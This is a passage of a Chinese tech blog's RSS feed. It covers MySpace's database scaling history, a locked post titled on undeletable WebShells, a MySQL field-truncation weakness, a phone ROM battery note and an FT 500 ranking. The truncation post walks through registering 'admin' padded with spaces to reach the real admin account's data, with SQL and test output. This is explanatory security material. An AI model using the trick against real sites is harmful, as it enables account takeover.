	垂直分割策略利于多个数据库分担访问压力，当用户要求增加新功能时，MySpace将投入新的数据库予以支持它。账户到达2百万后，MySpace还从存储设备与数据库服务器直接交互的方式切换到SAN（Storage Area Network，存储区域网络）&mdash;&mdash;用高带宽、专门设计的网络将大量磁盘存储设备连接在一起，而数据库连接到SAN。这项措施极大提升了系统性能、正常运行时间和可靠性，Benedetto说。</p>
<p style="color: #800000">
	里程碑三：3百万账户</p>
<p style="color: #800000">
	当用户继续增加到3百万后，垂直分割策略也开始难以为继。尽管站点的各个应用被设计得高度独立，但有些信息必须共享。在这个架构里，每个数据库必须有各自的用户表副本&mdash;&mdash;MySpace授权用户的电子花名册。这就意味着一个用户注册时，该条账户记录必须在9个不同数据库上分别创建。但在个别情况下，如果其中某台数据库服务器临时不可到达，对应事务就会失败，从而造成账户非完全创建，最终导致此用户的该项服务无效。</p>
<p style="color: #800000">
	另外一个问题是，个别应用如博客增长太快，那么专门为它服务的数据库就有巨大压力。</p>
<p style="color: #800000">
	2004年中，MySpace面临Web开发者称之为&quot;向上扩展&quot;对&quot;向外扩展&quot;（译者注：Scale Up和Scale Out，也称硬件扩展和软件扩展）的抉择&mdash;&mdash;要么扩展到更大更强、也更昂贵的服务器上，要么部署大量相对便宜的服务器来分担数据库压力。一般来说，大型站点倾向于向外扩展，因为这将让它们得以保留通过增加服务器以提升系统能力的后路。</p>
<p style="color: #800000">
	但成功地向外扩展架构必须解决复杂的分布式计算问题，大型站点如Google、Yahoo和Amazon.com，都必须自行研发大量相关技术。以Google为例，它构建了自己的分布式文件系统。</p>
<p style="color: #800000">
	另外，向外扩展策略还需要大量重写原来软件，以保证系统能在分布式服务器上运行。&quot;搞不好，开发人员的所有工作都将白费&quot;，Benedetto说。</p>
<p style="color: #800000">
	因此，MySpace首先将重点放在了向上扩展上，花费了大约1个半月时间研究升级到32CPU服务器以管理更大数据库的问题。Benedetto说，&quot;那时候，这个方案看似可能解决一切问题。&quot;如稳定性，更棒的是对现有软件几乎没有改动要求。</p>
<p style="color: #800000">
	糟糕的是，高端服务器极其昂贵，是购置同样处理能力和内存速度的多台服务器总和的很多倍。而且，站点架构师预测，从长期来看，即便是巨型数据库，最后也会不堪重负，Benedetto说，&quot;换句话讲，只要增长趋势存在，我们最后无论如何都要走上向外扩展的道路。&quot;</p>
<p style="color: #800000">
	因此，MySpace最终将目光移到分布式计算架构&mdash;&mdash;它在物理上分布的众多服务器，整体必须逻辑上等同于单台机器。拿数据库来说，就不能再像过去那样将应用拆分，再以不同数据库分别支持，而必须将整个站点看作一个应用。现在，数据库模型里只有一个用户表，支持博客、个人资料和其他核心功能的数据都存储在相同数据库。</p>
<p style="color: #800000">
	既然所有的核心数据逻辑上都组织到一个数据库，那么MySpace必须找到新的办法以分担负荷&mdash;&mdash;显然，运行在普通硬件上的单个数据库服务器是无能为力的。这次，不再按站点功能和应用分割数据库，MySpace开始将它的用户按每百万一组分割，然后将各组的全部数据分别存入独立的SQL Server实例。目前，MySpace的每台数据库服务器实际运行两个SQL Server实例，也就是说每台服务器服务大约2百万用户。Benedetto指出，以后还可以按照这种模式以更小粒度划分架构，从而优化负荷分担。</p>
<p style="color: #800000">
	当然，还是有一个特殊数据库保存了所有账户的名称和密码。用户登录后，保存了他们其他数据的数据库再接管服务。特殊数据库的用户表虽然庞大，但它只负责用户登录，功能单一，所以负荷还是比较容易控制的。</p>
<p style="color: #800000">
	里程碑四：9百万到1千7百万账户</p>
<p style="color: #800000">
	2005年早期，账户达到9百万后，MySpace开始用Microsoft的C#编写ASP.NET程序。C#是C语言的最新派生语言，吸收了C++和Java的优点，依托于Microsoft .NET框架（Microsoft为软件组件化和分布式计算而设计的模型架构）。ASP.NET则由编写Web站点脚本的ASP技术演化而来，是Microsoft目前主推的Web站点编程环境。</p>
<p style="color: #800000">
	可以说是立竿见影， MySpace马上就发现ASP.NET程序运行更有效率，与ColdFusion相比，完成同样任务需消耗的处理器能力更小。据技术总监Whitcomb说，新代码需要150台服务器完成的工作，如果用ColdFusion则需要246台。Benedetto还指出，性能上升的另一个原因可能是在变换软件平台，并用新语言重写代码的过程中，程序员复审并优化了一些功能流程。</p>
<p style="color: #800000">
	最终，MySpace开始大规模迁移到ASP.NET。即便剩余的少部分ColdFusion代码，也从Cold-Fusion服务器搬到了ASP.NET，因为他们得到了BlueDragon.NET（乔治亚州阿尔法利塔New Atlanta Communications公司的产品，它能将ColdFusion代码自动重新编译到Microsoft平台）的帮助。</p>
<p style="color: #800000">
	账户达到1千万时，MySpace再次遭遇存储瓶颈问题。SAN的引入解决了早期一些性能问题，但站点目前的要求已经开始周期性超越SAN的I/O容量&mdash;&mdash;即它从磁盘存储系统读写数据的极限速度。</p>
<p style="color: #800000">
	原因之一是每数据库1百万账户的分割策略，通常情况下的确可以将压力均分到各台服务器，但现实并非一成不变。比如第七台账户数据库上线后，仅仅7天就被塞满了，主要原因是佛罗里达一个乐队的歌迷疯狂注册。</p>
<p style="color: #800000">
	某个数据库可能因为任何原因，在任何时候遭遇主要负荷，这时，SAN中绑定到该数据库的磁盘存储设备簇就可能过载。&quot;SAN让磁盘I/O能力大幅提升了，但将它们绑定到特定数据库的做法是错误的。&quot;Benedetto说。</p>
<p style="color: #800000">
	最初，MySpace通过定期重新分配SAN中数据，以让其更为均衡的方法基本解决了这个问题，但这是一个人工过程，&quot;大概需要两个人全职工作。&quot;Benedetto说。</p>
<p style="color: #800000">
	长期解决方案是迁移到虚拟存储体系上，这样，整个SAN被当作一个巨型存储池，不再要求每个磁盘为特定应用服务。MySpace目前采用了一种新型SAN设备&mdash;&mdash;来自加利福尼亚州弗里蒙特的3PARdata。</p>
<p style="color: #800000">
	在3PAR的系统里，仍能在逻辑上按容量划分数据存储，但它不再被绑定到特定磁盘或磁盘簇，而是散布于大量磁盘。这就使均分数据访问负荷成为可能。当数据库需要写入一组数据时，任何空闲磁盘都可以马上完成这项工作，而不再像以前那样阻塞在可能已经过载的磁盘阵列处。而且，因为多个磁盘都有数据副本，读取数据时，也不会使SAN的任何组件过载。</p>
<p style="color: #800000">
	当2005年春天账户数达到1千7百万时，MySpace又启用了新的策略以减轻存储系统压力，即增加数据缓存层&mdash;&mdash;位于Web服务器和数据库服务器之间，其唯一职能是在内存中建立被频繁请求数据对象的副本，如此一来，不访问数据库也可以向Web应用供给数据。换句话说，100个用户请求同一份资料，以前需要查询数据库100次，而现在只需1次，其余都可从缓存数据中获得。当然如果页面变化，缓存的数据必须从内存擦除，然后重新从数据库获取&mdash;&mdash;但在此之前，数据库的压力已经大大减轻，整个站点的性能得到提升。</p>
<p style="color: #800000">
	缓存区还为那些不需要记入数据库的数据提供了驿站，比如为跟踪用户会话而创建的临时文件&mdash;&mdash;Benedetto坦言他需要在这方面补课，&quot;我是数据库存储狂热分子，因此我总是想着将万事万物都存到数据库。&quot;但将像会话跟踪这类的数据也存到数据库，站点将陷入泥沼。</p>
<p style="color: #800000">
	增加缓存服务器是&quot;一开始就应该做的事情，但我们成长太快，以致于没有时间坐下来好好研究这件事情。&quot;Benedetto补充道。</p>
<p style="color: #800000">
	里程碑五：2千6百万账户</p>
<p style="color: #800000">
	2005年中期，服务账户数达到2千6百万时，MySpace切换到了还处于beta测试的SQL Server 2005。转换何太急？主流看法是2005版支持64位处理器。但Benedetto说，&quot;这不是主要原因，尽管这也很重要；主要还是因为我们对内存的渴求。&quot;支持64位的数据库可以管理更多内存。</p>
<p style="color: #800000">
	更多内存就意味着更高的性能和更大的容量。原来运行32位版本的SQL Server服务器，能同时使用的内存最多只有4G。切换到64位，就好像加粗了输水管的直径。升级到SQL Server 2005和64位Windows Server 2003后，MySpace每台服务器配备了32G内存，后于2006年再次将配置标准提升到64G。</p>
<p style="color: #800000">
	意外错误</p>
<p style="color: #800000">
	如果没有对系统架构的历次修改与升级，MySpace根本不可能走到今天。但是，为什么系统还经常吃撑着了？很多用户抱怨的&quot;意外错误&quot;是怎么引起的呢？</p>
<p style="color: #800000">
	原因之一是MySpace对Microsoft的Web技术的应用已经进入连Microsoft自己也才刚刚开始探索的领域。比如11月，超出SQL Server最大同时连接数，MySpace系统崩溃。Benedetto说，这类可能引发系统崩溃的情况大概三天才会出现一次，但仍然过于频繁了，以致惹人恼怒。一旦数据库罢工，&quot;无论这种情况什么时候发生，未缓存的数据都不能从SQL Server获得，那么你就必然看到一个&#39;意外错误&#39;提示。&quot;他解释说。</p>
<p style="color: #800000">
	去年夏天，MySpace的Windows 2003多次自动停止服务。后来发现是操作系统一个内置功能惹的祸&mdash;&mdash;预防分布式拒绝服务攻击（黑客使用很多客户机向服务器发起大量连接请求，以致服务器瘫痪）。MySpace和其他很多顶级大站点一样，肯定会经常遭受攻击，但它应该从网络级而不是依靠Windows本身的功能来解决问题&mdash;&mdash;否则，大量MySpace合法用户连接时也会引起服务器反击。</p>
<p style="color: #800000">
	&quot;我们花了大约一个月时间寻找Windows 2003服务器自动停止的原因。&quot;Benedetto说。最后，通过Microsoft的帮助，他们才知道该怎么通知服务器：&quot;别开枪，是友军。&quot;</p>
<p style="color: #800000">
	紧接着是在去年7月某个周日晚上，MySpace总部所在地洛杉矶停电，造成整个系统停运12小时。大型Web站点通常要在地理上分布配置多个数据中心以预防单点故障。本来，MySpace还有其他两个数据中心以应对突发事件，但Web服务器都依赖于部署在洛杉矶的SAN。没有洛杉矶的SAN，Web服务器除了恳求你耐心等待，不能提供任何服务。</p>
<p style="color: #800000">
	Benedetto说，主数据中心的可靠性通过下列措施保证：可接入两张不同电网，另有后备电源和一台储备有30天燃料的发电机。但在这次事故中，不仅两张电网失效，而且在切换到备份电源的过程中，操作员烧掉了主动力线路。</p>
<p style="color: #800000">
	2007年中，MySpace在另两个后备站点上也建设了SAN。这对分担负荷大有帮助&mdash;&mdash;正常情况下，每个SAN都能负担三分之一的数据访问量。而在紧急情况下，任何一个站点都可以独立支撑整个服务，Benedetto说。</p>
<p style="color: #800000">
	MySpace仍然在为提高稳定性奋斗，虽然很多用户表示了足够信任且能原谅偶现的错误页面。</p>
<p style="color: #800000">
	&quot;作为开发人员，我憎恶Bug，它太气人了。&quot;Dan Tanner这个31岁的德克萨斯软件工程师说，他通过MySpace重新联系到了高中和大学同学。&quot;不过，MySpace对我们的用处很大，因此我们可以原谅偶发的故障和错误。&quot; Tanner说，如果站点某天出现故障甚至崩溃，恢复以后他还是会继续使用。</p>
<p style="color: #800000">
	这就是为什么Drew在论坛里咆哮时，大部分用户都告诉他应该保持平静，如果等几分钟，问题就会解决的原因。Drew无法平静，他写道，&quot;我已经两次给MySpace发邮件，而它说一小时前还是正常的，现在出了点问题&hellip;&hellip;完全是一堆废话。&quot;另一个用户回复说，&quot;毕竟它是免费的。&quot;Benedetto坦承100%的可靠性不是他的目标。&quot;它不是银行，而是一个免费的服务。&quot;他说。</p>
<p style="color: #800000">
	换句话说，MySpace的偶发故障可能造成某人最后更新的个人资料丢失，但并不意味着网站弄丢了用户的钱财。&quot;关键是要认识到，与保证站点性能相比，丢失少许数据的故障是可接受的。&quot;Benedetto说。所以，MySpace甘冒丢失2分钟到2小时内任意点数据的危险，在SQL Server配置里延长了&quot;checkpoint&quot;操作&mdash;&mdash;它将待更新数据永久记录到磁盘&mdash;&mdash;的间隔时间，因为这样做可以加快数据库的运行。</p>
<p style="color: #800000">
	Benedetto说，同样，开发人员还经常在几个小时内就完成构思、编码、测试和发布全过程。这有引入Bug的风险，但这样做可以更快实现新功能。而且，因为进行大规模真实测试不具可行性，他们的测试通常是在仅以部分活跃用户为对象，且用户对软件新功能和改进不知就里的情况下进行的。因为事实上不可能做真实的加载测试，他们做的测试通常都是针对站点。</p>
<p style="color: #800000">
	&quot;我们犯过大量错误，&quot;Benedetto说，&quot;但到头来，我认为我们做对的还是比做错的多。&quot;</p>
<p style="color: #800000">
	MySpace Tech Roster</p>
<p style="color: #800000">
	January 16, 2007</p>
<p style="color: #800000">
	By David F. Carr</p>
<p>
	<br />
	<br />
	<span>我的一些思考:<br />
	看完这篇文章首先很惊讶myspace居然是基于.net平台的系统,windows2003+asp.net+IIS+SQLSERVER,虽然我是一个纯粹的MS技术者,但是对于MS的WEB应用总是有点疑虑,我的担心大概是来自于到处都在鼓吹的LAMP,我并不敌视开源,但是我承认,它给我带来了很大的压力.看了这篇文章,我有点庆幸也有点笑自己之前的迂腐,其实对于技术来说,优劣只在于开发者本身,myspace的六次重构,很好的说明了这一点.<br />
	我们常常讲分布式系统,这个概念很大,简单点说,就是把系统给拆分开来,把本来一台服务器做的事,分到两台服务器来做.如果只在一台服务器上部署两个程序来执行之前一个程序做的事,我认为那不叫分布式,也是完全没必要的,分布式的原则是&quot;<strong>后分布</strong>&quot;(lazy distribute),因为这本身是件损耗性能的工作,如果不能通过它来获得明显的性能提升,那为什么还要分布式?<br />
	myspace的六次重构基本都是围绕数据库来进行的,做了这么多年的WEB应用,我早就知道了数据库对于一个网站来说是多么的重要.在程序没有额外的问题的基础上,随着流量的增大,最先出现问题的,往往就是数据库.症状通常为,数据库查询/更新变的非常非常的慢,经常超时等.<br />
	这个时候,我们能做的事非常有限,无非是调整下SQLServer的内存大小,给服务器加内存换速度更快的硬盘等.如果要认真的解决这个问题,对于一般的开发者来说,都会自然的想到拆库.海量的数据查询对于SQL来说本就是不该存在的,无论你的数据库优化的多么好,比如你用的Oracle,数据吞吐量很大,难道查询100W的记录会比SQL查询1W条更快吗?拆库又分本地数据库分多个表和多个服务器分多个库,执行顺序为由前到後,当数据库的压力由海量查询变成磁盘IO之后,就需要更多的数据库服务器了.<br />
	除了硬件手段,更常用的是采用缓存.myspace直到第四次改版的后期才开始正式的引入缓存策略,这确实是个失误,如果从最开始就考虑到缓存的作用的话,那么数据库服务器至少不会膨胀的那么快,也可以有更多的时间来思考更好的架构.当然,正如Benedetto所说,这是件一开始就该考虑的事,但是myspace成长的太快了.<br />
	不是谁都有机会来为一个流量在世界上排名前10的网站来设计架构,因此myspace的后面的若干次重构,对于普通的开发者已经很难接触了,我认为,在第三个里程碑时,也就是通过服务器的横向扩展来实现的分布式,已经足够支持巨型网站的应用了.myspace是个交互型特别强的网站,用户执行的请求数会远大于一般的网站,这也是它巨大的数据库压力的来源.<br />
	最后总结一下WEB系统分布式的要点:<br />
	1.不到需要,绝对不要分布<br />
	2.分布式应该围绕数据库展开<br />
	3.分布式系统本身具有很强的扩展性,系统性能的提升和硬件的增加是线性关系.<br />
	<br />
	感想写的比较乱,基本想到什么写的什么,各位看官各取所需即是.</span></p>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=306</link>
			<category domain="http://www.deluei.com/?cid=3">斗转星移集众艺</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=分布系统">分布系统</category>
			<pubDate>Mon, 14 Jun 2010 12:42:58 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=305</link>
			<guid>http://www.deluei.com/?action=show&amp;id=305</guid>
			<title>利用系统保留文件名创建无法删除的WebShell</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description>文章需要输入密码才能浏览.</description>
			<link>http://www.deluei.com/?action=show&amp;id=305</link>
			<category domain="http://www.deluei.com/?cid=3">斗转星移集众艺</category>
			<pubDate>Sun, 06 Jun 2010 04:23:00 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=304</link>
			<guid>http://www.deluei.com/?action=show&amp;id=304</guid>
			<title>MySQL和SQL字段截短漏洞</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	&nbsp;&nbsp;&nbsp; 当前的Web开发者中肯定有不少人没有注意到作者所提到的这两个问题的。<br />
	第一个问题是这样的，MySQL默认有一个配置参数 max_packet_size，这个参数是用于限制MySQL客户端和MySQL服务器端数据通信的数据包大小，MySQL的默认配置是1MB。如果客户端发送的数据超过了1MB，则MySQL服务器端会忽略掉这个请求数据。作者接下来举了两个利用这个缺陷的例子，第一个是利用超长数据来使MySQL的日志记录程序失效，第二个是在PHP+MySQL的环境下，PHP的Session清理程序会由于一次发送的清理session数据的请求数据包超过max_packet_size的限制，而导致清理session失败。</p>
<div>
	而实际上，由于很多PHP+MySQL的程序都会运行用户上传附件之类，而一般的PHP+MySQL的上传附件限制都是大于1MB的，所以PHP的程序开发人员一般是会去修改max_packet_size的值为大于1MB。这就给我们的漏洞利用带来了一定的麻烦，毕竟在当前的网络状况下，构造1MB多的数据去上传还是可以忍受的。但是太大的数据量就比较考验我们的耐心了，呵呵。</div>
<div>
	第二个问题就比较严重了，MySQL对于超过字段长度的数据插入操作会进行默认的字符串截短。例如一个字段定义的长度为10，如果插入的字符串长度超过10，MySQL会将长度超过10的部分字符串自动舍去后插入到数据表中。默认配置条件下，MySQL会产生一个警告信息，但是这个警告信息不会被Web应用程序捕获到。所以，从表面上来看，超长数据也是可以&ldquo;成功&rdquo;插入数据表的。作者在下面举的这个例子就很有代表性了，首先是一个场景假设：</div>
<div>
	The application is a forum where new users can register<br />
	The administrator&rsquo;s name is known e.g. &lsquo;admin&rsquo;<br />
	MySQL is used in the default mode<br />
	There is no application restriction on the length of new user names<br />
	The database column username is limited to 16 characters<br />
	用户如果尝试注册一个用户名为admin的用户，会由于Web应用程序中的isAlreadyRegistered函数的校验而注册失败。</div>
<div>
	SELECT * FROM user WHERE username=&#39;admin&#39;<br />
	但如果用户使用用户名&rsquo;admin x&rsquo;来注册（注意admin和x之间有11个空格），则注册流程会是这样的：</div>
<div>
	isAlreadyRegistered函数会使用上面的SQL语句来检查user表中是否存在相同用户名的用户，查询结果肯定是不存在的。那么用户注册成功！</div>
<div>
	实际上，真正插入到user表中的用户名是&rsquo;admin&rsquo;！也就是说，MySQL不仅会截短超过长度限制部分的字符串，也会对字符串头尾的空白字符进行截短！所以，在user表中，现在存在了两个admin用户！</div>
<div>
	接下来，用户登陆，他使用的是用户名admin，密码是他刚才设置的&rsquo;admin x&rsquo;的密码。假设Web应用程序的登陆认证和授权函数是这样的一段代码：</div>
<div>
	$userdata = null;<br />
	if (isPasswordCorrect($username, $password)) {<br />
	$userdata = getUserDataByLogin($username);<br />
	...<br />
	}<br />
	其中isPasswordCorrect函数使用的SQL语句为：</div>
<div>
	SELECT username FROM users WHERE username = ? AND passhash = ?<br />
	getUserDataByLogin函数使用的SQL语句为：</div>
<div>
	SELECT * FROM users WHERE username = ?<br />
	可以看得出，上面的语句使用了预编译的SQL语句，是无法实施SQL注入的。但是由于MySQL的默认字段截短策略，isPasswordCorrect函数会成功执行并返回用户名admin，接下来的getUserDataByLogin也会正确执行，返回的结果虽然是一个数组，但是Web应用程序一般是取返回数组中的第一个结果，也就是真正的管理员用户admin的所有数据！</div>
<div>
	怎么样，不用SQL注入，一样拿到管理员权限！</div>
<div>
	后记：经过测试，上面的漏洞利用过程在MySQL 4中是确实存在并且可以利用的。但是在MySQL 5中，本机测试失败。失败的关键就在于MySQL 5对于超过字段长度限制的字符串插入会报错，并停止字符串插入操作。</div>
<div>
	附：MySQL 4的测试过程</div>
<div>
	mysql&gt; select * from tb_sqltest where name=&#39;jason&#39;;<br />
	+----+-------+--------+------+------+------+------+<br />
	| id | name | remark | time | col1 | col2 | col3 |<br />
	+----+-------+--------+------+------+------+------+<br />
	| 1 | jason | NULL | NULL | NULL | NULL | NULL |<br />
	+----+-------+--------+------+------+------+------+<br />
	1 row in set</div>
<div>
	mysql&gt; select * from tb_sqltest where name=&#39;jason x&#39;;<br />
	Empty set</div>
<div>
	mysql&gt; insert into tb_sqltest (id,name) values (2,&#39;jason x&#39;);<br />
	Query OK, 1 row affected</div>
<div>
	mysql&gt; select * from tb_sqltest where name=&#39;jason&#39;;<br />
	+----+-------+--------+------+------+------+------+<br />
	| id | name | remark | time | col1 | col2 | col3 |<br />
	+----+-------+--------+------+------+------+------+<br />
	| 1 | jason | NULL | NULL | NULL | NULL | NULL |<br />
	| 2 | jason | NULL | NULL | NULL | NULL | NULL |<br />
	+----+-------+--------+------+------+------+------+</div>]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=304</link>
			<category domain="http://www.deluei.com/?cid=3">斗转星移集众艺</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=mysql">mysql</category>
			<comments>http://www.deluei.com/?action=show&amp;id=304#comments</comments>
			<pubDate>Sun, 06 Jun 2010 04:02:59 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=303</link>
			<guid>http://www.deluei.com/?action=show&amp;id=303</guid>
			<title>PPC ROM-华丽的背后是高电能的支持</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	&nbsp;&nbsp; &nbsp;用PPC机已经用过两台了，确实很喜欢他的功能，特别是机器的网络支持，拿着这东西普通上网的工作都能做到。</p>
<p>
	人还是喜欢炫目的感觉，从裸机到安装N多非常炫的GUI，突然发现机器的性能不比从前了。无聊的时候跟了下机器的耗电率，发现这类让人震撼的效果都是在损耗电池的前提下。</p>
<p>
	<div class="attach"><a href="http://www.deluei.com/attachment.php?id=81" class="highslide" onclick="return hs.expand(this)"><img src="http://www.deluei.com/attachments/date_201006/18a57ed0a98c6089c8e4fc86926787c7.png" border="0" alt="ppc.png&#13;&#13;大小: 94.7 K&#13;尺寸: 240 x 320&#13;浏览: 20 次&#13;点击打开新窗口浏览全图" width="240" height="320" /></a></div></p>
<p>
	很酷是不是？<img alt="" src="http://www.deluei.com/include/editor/plugins/smiley/images/5.gif" title="" /></p>
<p>
	可是刷上这新ROM后，我待机时长就剩下了一天... ...<img alt="" src="http://www.deluei.com/include/editor/plugins/smiley/images/14.gif" title="" /></p>
<p>
	以前随机带的rom虽然没这个炫，但是至少也是带M的。</p>
<p>
	那个rom能让我的电话待机一个星期！震撼啊！<img alt="" src="http://www.deluei.com/include/editor/plugins/smiley/images/44.gif" title="" /></p>
<p>
	这个对比太震惊了，在出行率高的情况下，这一点点电量却是很重要的。</p>
<p>
	所以，喜欢炫的朋友还是坚持一天一充吧，比较懒的朋友还是刷个低耗能的rom吧<img alt="" src="http://www.deluei.com/include/editor/plugins/smiley/images/1.gif" title="" /></p>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=303</link>
			<category domain="http://www.deluei.com/?cid=2">自创武艺窥门径</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=ppc">ppc</category>
			<pubDate>Thu, 03 Jun 2010 02:15:05 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=302</link>
			<guid>http://www.deluei.com/?action=show&amp;id=302</guid>
			<title>金融时报全球五百强企业排名 中石油排榜首</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <div id="Cnt-Main-Article-QQ">
	<p style="text-indent: 2em">
		英国《金融时报》今晨发布了全球五百强企业排名，中石油首次超过美国埃克森石油公司，成为全球市值最大的企业，前10强中国企业有三个。</p>
	<p style="text-indent: 2em">
		这是《金融时报》全球五百强第十四期年度排名，也是中国企业第一次站在排名榜榜首。</p>
	<p style="text-indent: 2em">
		根据《金融时报》研究机构的报告，截至今年3月31日，中石油当前市值达到3293亿美元，比第二名埃克森高出130多亿美元。微软名列第三，中国工商银行则以2464亿美元的市值紧随其后。</p>
	<p style="text-indent: 2em">
		本周五，中石油股价收于每股10.96元，微涨0.37%。</p>
	<p style="text-indent: 2em">
		五百强名单中共有21家在中国大陆上市的企业，全部为大型国有或者国有控股企业，行业涵盖金融、化工、建筑、运输等。今年上榜的中国企业总数（含港澳台）为45家，略低于去年的47家。在大陆上市的企业数也不如去年的27家。落榜企业包括上海电气、大唐国际发电、紫金矿业等去年榜单上的新秀。</p>
	<p style="text-indent: 2em">
		前十名的企业中，除了澳大利亚矿业巨头必和必拓集团之外，全部由中美企业占据，而美国企业更是占据其中六席。</p>
	<p style="text-indent: 2em">
		值得注意的是，榜单中的微软公司在IT类企业中排名第一，但就在本月28日，苹果的总市值超越微软，后者占据多年的全球IT老大的地位不得不拱手让出。</p>
	<p style="text-indent: 2em">
		报告称，2010版的五百强企业总市值达23.5万亿美元，比2009年增长了一半多，如此大的增幅为近10年来仅有。</p>
	<p style="text-indent: 2em">
		入围的企业要求有至少15%的股份在市面上流通，按照公司在各自上市交易所的总市值进行排名，未上市的股份没有计入其中。</p>
	<p style="text-indent: 2em">
		&nbsp;</p>
	<p style="text-indent: 2em">
		<strong>专家观点</strong></p>
	<p style="text-indent: 2em">
		<strong>中石油沾了中国经济大环境的光</strong></p>
	<p style="text-indent: 2em">
		上午，中国石油大学工商管理学院副院长董秀成告诉本报记者，中石油登顶，其实是沾了中国经济大环境的光，欧美是金融危机重灾区，股市普遍下跌不少，因此埃克森&middot;美孚、壳牌等公司的市值被拖累下跌，而中国抵挡住了冲击，中石油趁机超越对手。</p>
	<p style="text-indent: 2em">
		董秀成表示，衡量企业实力，光靠市值是不够的，销售额在某些程度上更能体现一家企业的实力。</p>
	<p style="text-indent: 2em">
		<strong>背景链接</strong></p>
	<p style="text-indent: 2em">
		<strong>《金融时报》五百强</strong></p>
	<p style="text-indent: 2em">
		英国《金融时报》是一家世界领先的商业新闻机构，拥有120多年历史，其编制的伦敦股票市场指数FTSE100指数更是欧洲三大股指之一。</p>
	<p style="text-indent: 2em">
		《金融时报》的全球五百强是与财富五百强并称的全球权威企业排名之一。在全球各大公司今年3月31日的股价基础上制定了此排行榜。该排行榜每年公布一次，已经连续公布了14期。</p>
	<p style="text-indent: 2em">
		入榜公司必须有最少15%股份在市场流通。与财富五百强按营业额排名的依据不同，《金融时报》全球五百强按照公司的市值排名，即市值=单位股票价格&times;发行股份数量。（来源：法制晚报）</p>
	<p style="text-indent: 2em">
		<strong>附：全球前十强企业市值表</strong></p>
	<p style="text-indent: 2em">
		&nbsp;</p>
	<table align="center" border="1" bordercolor="#999999" cellpadding="1" cellspacing="0" width="450">
		<tbody>
			<tr>
				<th scope="col">
					排名</th>
				<th scope="col">
					企业</th>
				<th scope="col">
					所在国</th>
				<th scope="col">
					行业</th>
				<th scope="col">
					市值（美元）</th>
				<th scope="col">
					去年排名</th>
			</tr>
			<tr>
				<td>
					1</td>
				<td>
					中石油</td>
				<td>
					中国</td>
				<td>
					油气开采</td>
				<td>
					3293</td>
				<td>
					2</td>
			</tr>
			<tr>
				<td>
					2</td>
				<td>
					埃克森&middot;美孚</td>
				<td>
					美国</td>
				<td>
					油气开采</td>
				<td>
					3162</td>
				<td>
					1</td>
			</tr>
			<tr>
				<td>
					3</td>
				<td>
					微软</td>
				<td>
					美国</td>
				<td>
					IT</td>
				<td>
					2569</td>
				<td>
					6</td>
			</tr>
			<tr>
				<td>
					4</td>
				<td>
					中国工商银行</td>
				<td>
					中国</td>
				<td>
					银行</td>
				<td>
					2464</td>
				<td>
					4</td>
			</tr>
			<tr>
				<td>
					5</td>
				<td>
					苹果</td>
				<td>
					美国</td>
				<td>
					IT</td>
				<td>
					2131</td>
				<td>
					33</td>
			</tr>
			<tr>
				<td>
					6</td>
				<td>
					必和必拓</td>
				<td>
					澳大利亚</td>
				<td>
					矿业</td>
				<td>
					2099</td>
				<td>
					19</td>
			</tr>
			<tr>
				<td>
					7</td>
				<td>
					沃尔玛</td>
				<td>
					美国</td>
				<td>
					零售</td>
				<td>
					2090</td>
				<td>
					3</td>
			</tr>
			<tr>
				<td>
					8</td>
				<td>
					伯克希尔</td>
				<td>
					美国</td>
				<td>
					保险</td>
				<td>
					2006</td>
				<td>
					12</td>
			</tr>
			<tr>
				<td>
					9</td>
				<td>
					通用电气</td>
				<td>
					美国</td>
				<td>
					制造业</td>
				<td>
					1942</td>
				<td>
					23</td>
			</tr>
			<tr>
				<td>
					10</td>
				<td>
					中国移动</td>
				<td>
					中国</td>
				<td>
					通讯</td>
				<td>
					1930</td>
				<td>
					5</td>
			</tr>
		</tbody>
	</table>
	<p>
		&nbsp;</p>
	<p>
		PS:分析下USA的排名情况，埃克森&middot;美孚 美国 油气开采这个应该没什么争议了，毕竟全球遍地都是能源需求国。</p>
	<p>
		重点得看：</p>
	<p>
		微软 美国 IT<br />
		苹果 美国 IT<br />
		沃尔玛 美国 零售<br />
		通用电气 美国 制造业</p>
	<p>
		看出点门道了，高新科技、全球垄断、连锁零售。</p>
	<p>
		天朝能往这方面追吗？</p>
</div>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=302</link>
			<category domain="http://www.deluei.com/?cid=4">新闻旧事造江湖</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=新闻">新闻</category>
			<pubDate>Sun, 30 May 2010 16:03:05 +0000</pubDate>
		</item>
		<item>
			<link>http://www.deluei.com/?action=show&amp;id=301</link>
			<guid>http://www.deluei.com/?action=show&amp;id=301</guid>
			<title>实拍学院食堂男女打架</title>
			<author>Admin@DelUEi.Com(Admin)</author>
			<description><![CDATA[百科全书 Index's Blog ( http://www.deluei.com/ ) : <p>
	<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" height="400" width="480"><param name="quality" value="high" /><param name="movie" value="http://player.youku.com/player.php/sid/XMTE0NTQ5NDg0/v.swf" /><embed height="400" pluginspage="http://www.macromedia.com/go/getflashplayer" quality="high" src="http://player.youku.com/player.php/sid/XMTE0NTQ5NDg0/v.swf" type="application/x-shockwave-flash" width="480"></embed></object></p>
]]></description>
			<link>http://www.deluei.com/?action=show&amp;id=301</link>
			<category domain="http://www.deluei.com/?cid=1">江湖足迹一点点</category>
			<category domain="http://www.deluei.com/?action=article&amp;tag=视频">视频</category>
